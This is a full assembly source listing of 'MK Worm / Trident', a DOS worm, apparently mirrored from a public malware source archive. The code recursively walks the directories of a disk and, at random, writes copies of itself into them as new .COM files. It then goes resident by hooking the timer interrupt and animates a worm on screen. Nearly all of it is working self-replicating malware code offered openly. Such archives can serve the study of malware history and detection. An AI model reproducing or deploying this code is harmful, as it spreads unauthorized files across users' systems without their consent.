mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 20:35:25 +00:00
467 lines
15 KiB
NASM
467 lines
15 KiB
NASM
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;**********************************************************************
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;*
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;* MK Worm
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;*
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;* Compile with MASM 4.0
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;*
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;**********************************************************************
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cseg segment
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assume cs:cseg,ds:cseg,es:cseg
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.radix 16
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org 0100
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wormlen equ 8
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filelen equ eind - begin
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old_dir equ eind
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DTA equ offset eind + 100d
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;**********************************************************************
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;* Main program
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;**********************************************************************
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begin: call rnd_init
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mov bp,DTA ;change DTA
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call set_DTA
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mov ah,47 ;get name of current directory
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cwd
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mov si,offset old_dir
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int 21
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mov dx,offset root_dir ;goto root
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call chdir
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call search ;search directory's
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mov dx,offset old_dir ;goto original directory
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call chdir
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call rnd_get ;go resident?
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and al,0F
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jz go_res
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int 20
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go_res: mov ax,351C ;go resident!
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int 21
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lea si,oldvec
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mov [si],bx
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mov [si+2],es
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lea dx,routine
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mov ax,251C
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int 21
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mov dx,offset eind
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int 27
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;**********************************************************************
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;* search dir
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;**********************************************************************
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search: mov dx,offset dirname ;search *.*
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mov cx,16
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mov ah,4E
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finddir: int 21
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jc no_dir
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test byte ptr [bp+15],10 ;directory?
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je next_dir
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cmp byte ptr [bp+1E],'.' ;is it '.' or '..' ?
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je next_dir
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lea dx,[bp+1E] ;goto directory
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call chdir
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lea bp,[bp+2C] ;change DTA
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call set_DTA
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call search ;searc directory (recurse!)
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lea bp,[bp-2C] ;goto previous DAT
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call set_DTA
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mov dx,offset back_dir ;'CD ..'
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call chdir
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next_dir: mov ah,4F ;find next
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jmp short finddir
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no_dir: call rnd_get ;copy worm to this directory?
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and al,3
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jnz no_worm
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mov dx,offset comname ;search *.com
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mov ah,4E
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mov cx,06
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findcom: int 21
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jc makeit
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mov ax,word ptr [bp-1A] ;worm already there?
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sub ax,filelen
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cmp ax,10
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jnb no_worm
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mov ah,4F
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jmp short findcom
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makeit: call makeworm ;copy the worm!
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no_worm: ret
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;**********************************************************************
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;* change dir
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;**********************************************************************
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chdir: mov ah,3Bh
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int 21
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ret
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;**********************************************************************
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;* set DTA
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;**********************************************************************
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set_DTA: mov dx,bp
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mov ah,1A
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int 21
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ret
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;**********************************************************************
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;* create worm
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;**********************************************************************
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makeworm: mov ah,5A ;create unique filename
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xor cx,cx
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mov dx,offset filename
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mov si,offset restname
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mov byte ptr [si],0
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int 21
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xchg ax,bx
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mov ah,40 ;write worm
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mov cx,filelen
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mov dx,0100
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int 21
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call rnd_get ;append a few bytes
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and ax,0F
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xchg ax,cx
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mov dx,0100
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mov ah,40
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int 21
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mov ah,3E ;close file
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int 21
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lea di,[si+13d] ;copy filename
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push di
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push si
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movsw
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movsw
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movsw
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movsw
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mov si,offset comname+1
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movsw
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movsw
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movsb
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pop dx ;rename file to .COM
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pop di
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mov ah,56
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int 21
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ret
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;**********************************************************************
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;* new int 1C handler
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;**********************************************************************
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routine: cli ;save registers
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push ds
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push es
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push ax
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push bx
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push cx
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push dx
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push si
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push di
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push cs
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push cs
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pop ds
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pop es
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zzz3: inc byte ptr [count]
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mov al,byte ptr [count]
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test al,1 ;only every 2nd tick
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jz nothing
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cmp al,3 ;don't change direction yet
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jb zzz2
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call rnd_get
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and al,3 ;change direction?
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jnz zzz2
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zzz0: call dirchange ;change direction!
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mov al,byte ptr [direction]
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xor al,byte ptr [old_direc]
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and al,1
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jz zzz0 ;90 degrees with old direction?
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zzz2: call getnext ;calculate next position
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call checknext ;does it hit the border?
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jc zzz0
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mov al,byte ptr [direction] ;save old direction
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mov byte ptr [old_direc],al
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call moveworm
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mov ah,0F ;ask video mode
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int 10
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cmp al,7
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jz goodmode
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cmp al,4
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jnb nothing
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cmp al,2
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jb nothing
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goodmode: mov ah,3 ;read cursor position
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int 10
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push dx
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call printworm
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pop dx ;restore cursor position
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mov ah,2
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int 10
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nothing: pop di
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pop si
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pop dx
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pop cx
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pop bx
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pop ax
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pop es
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pop ds
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sti
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jmp cs:[oldvec] ;original vector
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oldvec dd 0
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;**********************************************************************
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;* changes direction of worm
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;**********************************************************************
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dirchange: call rnd_get ;get random numbar
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and al,2
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mov ah,byte ptr [direction] ;change direction 90 degrees
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xor ah,0FF
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and ah,1
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or ah,al
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mov byte ptr [direction],ah
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mov byte ptr [count],0
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ret
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;**********************************************************************
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;* finds next position of the worm
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;**********************************************************************
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getnext: mov al,byte ptr [yval+wormlen]
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mov byte ptr [yval+wormlen+1],al
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mov al,byte ptr [xval+wormlen]
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mov byte ptr [xval+wormlen+1],al
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mov ah,byte ptr [direction]
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cmp ah,3
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je is_3
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cmp ah,2
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je is_2
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cmp ah,1
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je is_1
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is_0: mov al,byte ptr [yval+wormlen] ;up
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dec al
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mov byte ptr [yval+wormlen+1],al
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ret
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is_1: mov al,byte ptr [xval+wormlen] ;left
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dec al
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dec al
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mov byte ptr [xval+wormlen+1],al
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ret
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is_2: mov al,byte ptr [yval+wormlen] ;down
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inc al
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mov byte ptr [yval+wormlen+1],al
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ret
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is_3: mov al,byte ptr [xval+wormlen] ;right
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inc al
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inc al
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mov byte ptr [xval+wormlen+1],al
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ret
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;**********************************************************************
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;* checks if worm will hit borders
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;**********************************************************************
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checknext: mov al,byte ptr [xval+wormlen+1]
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cmp al,0
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jl fout
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cmp al,80d
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jae fout
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mov al,byte ptr [yval+wormlen+1]
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cmp al,0
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jl fout
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cmp al,25d
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jae fout
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clc
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ret
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fout: stc
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ret
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;**********************************************************************
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;* move the worm
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;**********************************************************************
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moveworm: mov si,offset xval+1
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lea di,[si-1]
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mov cx,wormlen+1
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rep movsb
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mov si,offset yval+1
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lea di,[si-1]
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mov cx,wormlen+1
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rep movsb
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ret
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;**********************************************************************
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;* print the worm on screen
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;**********************************************************************
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printworm: mov si,offset xval
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call move
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mov al,20 ;print space on rear end
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call print
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mov cx,wormlen-1
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lup: call move
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mov al,0F ;print dots
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call print
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loop lup
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call move
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mov al,2 ;print head of worm
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call print
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ret
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;**********************************************************************
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;* move the cursor
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;**********************************************************************
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move: mov ah,[si+wormlen+2]
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lodsb
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xchg ax,dx
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mov ah,02
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int 10
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ret
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;**********************************************************************
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;* print a character
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;**********************************************************************
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print: push cx
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mov ah,09
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mov bl,0C
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mov cx,1
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int 10
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pop cx
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ret
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;****************************************************************************
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;* random number generator
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;****************************************************************************
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rnd_init: push cx
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call rnd_init0
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and ax,000F
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inc ax
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xchg ax,cx
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random_lup: call rnd_get
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loop random_lup
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pop cx
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ret
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rnd_init0: push dx ;initialize generator
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push cx
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mov ah,2C
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int 21
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in al,40
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mov ah,al
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in al,40
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xor ax,cx
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xor dx,ax
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jmp short move_rnd
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rnd_get: push dx ;calculate a random number
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push cx
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push bx
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mov ax,0
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mov dx,0
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mov cx,7
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rnd_lup: shl ax,1
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rcl dx,1
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mov bl,al
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xor bl,dh
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jns rnd_l2
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inc al
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rnd_l2: loop rnd_lup
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pop bx
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|
|
|
|||
|
|
move_rnd: mov word ptr cs:[rnd_get+4],ax
|
|||
|
|
mov word ptr cs:[rnd_get+7],dx
|
|||
|
|
mov al,dl
|
|||
|
|
pop cx
|
|||
|
|
pop dx
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
|
|||
|
|
;**********************************************************************
|
|||
|
|
;* data
|
|||
|
|
;**********************************************************************
|
|||
|
|
|
|||
|
|
db ' MK Worm / Trident '
|
|||
|
|
root_dir db '\',0
|
|||
|
|
back_dir db '..',0
|
|||
|
|
dirname db '*.*',0
|
|||
|
|
|
|||
|
|
comname db '*.COM',0
|
|||
|
|
filename db '.\'
|
|||
|
|
restname db (26d) dup (?)
|
|||
|
|
|
|||
|
|
xval db 32d, 34d, 36d, 38d, 40d, 42d, 44d, 46d, 48d, 0
|
|||
|
|
yval db (wormlen+2) dup (12d)
|
|||
|
|
|
|||
|
|
direction db 3
|
|||
|
|
old_direc db 3
|
|||
|
|
count db 0
|
|||
|
|
|
|||
|
|
eind:
|
|||
|
|
|
|||
|
|
cseg ends
|
|||
|
|
end begin
|
|||
|
|
|
|||
|
|
|